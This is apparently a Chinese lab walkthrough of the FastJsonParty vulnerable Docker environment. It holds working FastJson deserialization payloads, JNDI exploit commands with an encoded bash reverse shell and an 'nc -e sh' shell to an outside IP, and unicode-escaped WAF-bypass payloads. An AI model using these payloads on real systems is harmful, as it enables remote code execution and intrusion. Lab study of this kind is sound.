演示环境
https://github.com/lemono0/FastJsonParty
FastJson 全版本 Docker 漏洞环境(涵盖 1.2.47/1.2.68/1.2.80 等版本),主要包括 JNDI 注入及高版本绕过、WAF 绕过、文件读写、原生反序列化、利用链探测绕过、不出网利用等。从黑盒的角度覆盖 FastJson 深入利用。
FastJson-JDK 高版本绕过 (1245-jdk8u342)
-
插件判断出 FastJson 及版本特征
-
利用 JNDI 注入未成功转高版本利用
https://github.com/B4aron1/JNDIBypass
java -jar JNDIBypass.jar -a 0.0.0.0 -p 1389 -c "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuMzIuMjIwLjE0Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://101.32.220.14:1389/AoKhk", "autoCommit": true } } -
监听反弹
nc -lvvp 9999
FastJson-编码特性 WAF 绕过 (1247-jndi-waf)
修改 docker-compose.yml (user: root)
https://github.com/lemono0/FastJsonParty/issues/4
-
插件判断出 FastJson 及版本特征
-
利用 JNDI 注入未成功转编码绕过利用
Fastjson 本身是默认识别并解码 hex 和 unicode 编码的,可以利用这个特性绕过
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "nc 101.32.220.14 9999 -e sh" -A 101.32.220.14 nc -lvvp 9999{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://101.32.220.14:1389/cEsHj", "autoCommit": "true" } }{ "a":{ "\u0040\u0074\u0079\u0070\u0065":"\u006A\u0061\u0076\u0061\u002E\u006C\u0061\u006E\u0067\u002E\u0043\u006C\u0061\u0073\u0073", "\u0076\u0061\u006C":"\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C" }, "b":{ "\u0040\u0074\u0079\u0070\u0065":"\u0063\u006F\u006D\u002E\u0073\u0075\u006E\u002E\u0072\u006F\u0077\u0073\u0065\u0074\u002E\u004A\u0064\u0062\u0063\u0052\u006F\u0077\u0053\u0065\u0074\u0049\u006D\u0070\u006C", "\u0064\u0061\u0074\u0061\u0053\u006F\u0075\u0072\u0063\u0065\u004E\u0061\u006D\u0065":"\u0072\u006D\u0069\u003A\u002F\u002F\u0031\u0030\u0031\u002E\u0033\u0032\u002E\u0032\u0032\u0030\u002E\u0031\u0034\u003A\u0031\u0030\u0039\u0039\u002F\u007A\u0039\u0069\u0035\u0074\u0074", "\u0061\u0075\u0074\u006F\u0043\u006F\u006D\u006D\u0069\u0074":"\u0074\u0072\u0075\u0065" } }
FastJson-WAF 加不出网 C3P0 利用 (1247-waf-c3p0)
修改 docker-compose.yml (删除 internal: true)
-
插件判断出 FastJson 及版本特征
-
不出网 C3P0 链构造利用
见打包的 wp 代码部分
-
WAF 绕过
添加
_或+处理关键字绕过userOverridesAsString→us_erOverridesAsStringhttps://y4tacker.github.io/2022/03/30/year/2022/3/%E6%B5%85%E8%B0%88Fastjson%E7%BB%95waf/
FastJson-高版本加写入链利用(1268-writefile-jsp)
-
插件判断出 FastJson 及版本特征
-
高版本采用写入链
先探针到中间件及目录,利用链加写入文件内容